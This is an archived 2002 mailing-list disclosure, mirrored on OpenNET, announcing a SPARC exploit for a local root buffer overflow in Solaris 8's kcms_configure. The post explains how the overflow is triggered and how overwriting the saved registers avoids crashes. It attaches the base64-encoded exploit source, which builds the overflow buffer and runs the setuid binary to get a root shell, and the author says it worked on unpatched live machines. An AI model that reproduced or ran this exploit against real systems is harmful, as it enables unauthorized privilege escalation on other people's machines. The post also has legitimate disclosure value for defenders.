The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


sparc exploit for known solaris 8 kcms_configure overflow


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Sun, 7 Jul 2002 09:49:51 -0700 (PDT)
From: Adam Slattery <[email protected]>
To: [email protected]
Subject: sparc exploit for known solaris 8 kcms_configure overflow
Cc: [email protected], [email protected],
 [email protected], [email protected]

--0-504522962-1026060591=:40641
Content-Type: TEXT/PLAIN; charset=US-ASCII

See http://www.securityfocus.com/bid/2558 for the published details of the
vulnerability. It's a classic local suid 0 buffer overflow in
kcms_configure on solaris 8 systems. Sun issued a patch a LONG time ago.
Sunsolve patch 111400-01.

This is an old vulnerability (04/2001), but I don't think there are any
published exploits for sparc systems (I could only find i386). It works
with the default addresses on both of the unpatched Solaris 8 systems I
have access to. These were ironically very busy machines with a lot of
users that stay reasonably well patched. I guess the admins didn't realize
they needed the kcms patch, which doesn't say anything about a root
compromise.


DESCRIPTION:

The overflow is in an sprintf() call that occurs when kcms_configure is
called with -o -S blah [>1024 byte string]. The sprintf call is made from
a library in the kcms suite, so this might be exploitable from other
suid kcms tools (but kcms_configure is probalby the most straight
forward). It's a command line buffer  overflow that's fairly easy to
control as long as an attacker can keep the program from seg faulting
before the second return (to the address in the overwritten saved i7
register). This is somewhat tricky because _a lot_ of code gets executed
between the overflow and the second return. I'm not sure if I've ever seen
any published sparc exploits deal with this problem (it's not that hard
though). I dealt with it by overwriting the saved l0-l7 and i0-i6[fp]
registers with the address of a string of pointers in memory (found in a
couple of minutes with gdb). If an attacker doesn't do this, various
instructions (notably st, clr) end up trying to use invalid memory and
causing a segmentation fault.

My exploit is well commented, and could probably even be used as a simple
SPARC Solaris exploit tutorial.

relevent links:

http://www.securityfocus.com/bid/2558
http://sunsolve.Sun.COM/pub-cgi/retrieve.pl?doc=fpatches/111400
kcms_sparc.c is attached.

- Adam Slattery


--0-504522962-1026060591=:40641
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="kcms_sparc.c"
Content-Transfer-Encoding: BASE64
Content-ID: <[email protected]>
Content-Description: kcms_sparc.c
Content-Disposition: attachment; filename="kcms_sparc.c"

Lyoga2Ntc19jb25maWd1cmUgLW8gLVMgY29tbWFuZCBsaW5lIGJ1ZmZlciBv
dmVyZmxvdywgU1BBUkMvc29sYXJpcyA4DQogKg0KICogaHR0cDovL3d3dy5z
ZWN1cml0eWZvY3VzLmNvbS9iaWQvMjU1OA0KICoNCiAqIENvZGVkIEp1bmUg
MjIsIDIwMDIgYnkgQWRhbSBTbGF0dGVyeS4gUGhlYXIuIFRoZSB2dWxuZXJh
YmlsaXR5DQogKiB3YXMgZGlzY292ZXJlZCBhIGxvbmcgdGltZSBhZ28gKDA0
LzIwMDEpLCBidXQgdGhlcmUgaGF2ZW4ndCBiZWVuDQogKiBhbnkgcHVibGlz
aGVkIHNwYXJjIGV4cGxvaXRzIGFzIGZhciBhcyBJIGtub3cgKG9ubHkgeDg2
KS4NCiAqDQogKiBBZGFtIFNsYXR0ZXJ5IDxhc2xhdHRlcnlAc3VucmlzZWxp
bnV4LmNvbT4NCiAqDQogKiBERVNDUklQVElPTjoNCiAqDQogKiBUaGUgaTM4
Ni9zb2xhcmlzIDggZXhwbG9pdCBieSBlRXllIChSaWxleSBIYXNzZWxsKSB3
YXMgdHJpdmlhbC4gQQ0KICogc3BhcmMgdmVyc2lvbiBpcyBzb21ld2hhdCBt
b3JlIGNvbXBsaWNhdGVkLCBidXQgbm90IGRhdW50aW5nLiBCZWNhdXNlDQog
KiBvZiB0aGUgbG9jYXRpb24gb2YgdGhlIG92ZXJmbG93IGluIHRoZSBwcm9n
cmFtLCBxdWl0ZSBhIGJpdCBvZiBjb2RlDQogKiBnZXRzIGV4ZWN1dGVkIGJl
Zm9yZSB0aGUgc2Vjb25kIHJldHVybiAod2hpY2ggaXMgdGhlIGp1bXAgdG8N
CiAqIHNoZWxsY29kZSBpbiBhIHNwYXJjIG92ZXJmbG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VsbGNvZGUgICAgLHN0cmxlbihzaGVsbGNv
ZGUpKTsgZm9yKGk9MTAyNTtpPDEwODE7DQppKz00KSBtZW1jcHkoICAgICAg
ICAgICAgICAgJmJ1ZltpXSwgJnBhLCA0KTsgbWVtY3B5KCZidWZbMTA4MV0s
DQomYWRkciw0KTtidWZbMTA4NV09J1wwJztwcmludGYoInJldDogMHgleCBb
JWRdIHB0cjogMHgleCBsZW46ICVkXG4iLA0KYWRkcixvZmZzZXQscGEsc3Ry
bGVuKGJ1ZikpOyBleGVjbCgiL3Vzci9YL2Jpbi9rY21zX2NvbmZpZ3VyZSIs
DQoicGluZSIsIi1vIiwiLVMiLCJibGFoIixidWYsTlVMTCk7IHB1dHMoImV4
ZWMgZmFpbGVkIik7IHJldHVybiAwOyB9DQovLyAuLi4gRU5EIC4uLg0KI2Vu
ZGlmDQo=
--0-504522962-1026060591=:40641--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру